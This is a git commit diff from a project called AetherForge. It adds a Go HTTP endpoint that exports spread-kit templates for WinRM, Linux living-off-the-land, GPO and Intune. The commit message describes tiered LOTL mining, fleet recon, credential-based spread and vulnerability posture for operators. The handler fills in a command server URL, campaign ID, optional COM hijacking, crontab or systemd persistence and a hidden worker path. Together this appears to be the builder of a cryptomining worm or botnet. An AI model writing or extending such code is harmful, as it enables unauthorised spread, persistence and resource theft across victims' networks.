Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -2,6 +2,7 @@ package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
@@ -139,6 +140,16 @@ type npmHelperExportRequest struct {
Campaign string `json:"campaign"`
}
type spreadTemplateExportRequest struct {
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
COMHijack bool `json:"com_hijack"`
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
AgentPath string `json:"agent_path"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
@@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request)
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
}
// POST /api/v1/builder/spread-template-export
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
var req spreadTemplateExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
req.AgentPath = strings.TrimSpace(req.AgentPath)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Template == "" {
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
return
}
subdir, filename, err := spreadTemplatePaths(req.Template)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
comHijack := "false"
if req.COMHijack {
comHijack = "true"
}
lotlMode := req.LOTLMode
if lotlMode == "" {
lotlMode = "systemd_run_user"
}
agentPath := req.AgentPath
if agentPath == "" {
agentPath = `C:\ProgramData\AetherForge\worker.exe`
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": comHijack,
"{{LOTL_MODE}}": lotlMode,
"{{AGENT_PATH}}": agentPath,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, filename, data)
}
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
switch template {
case "winrm":
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
case "linux-lotl", "linux_lotl":
return "linux", "aetherforge-linux-lotl.zip", nil
case "gpo", "enterprise-gpo":
return "enterprise", "aetherforge-gpo-startup.zip", nil
case "intune", "enterprise-intune":
return "enterprise", "aetherforge-intune-startup.zip", nil
default:
return "", "", fmt.Errorf("unknown template %q", template)
}
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")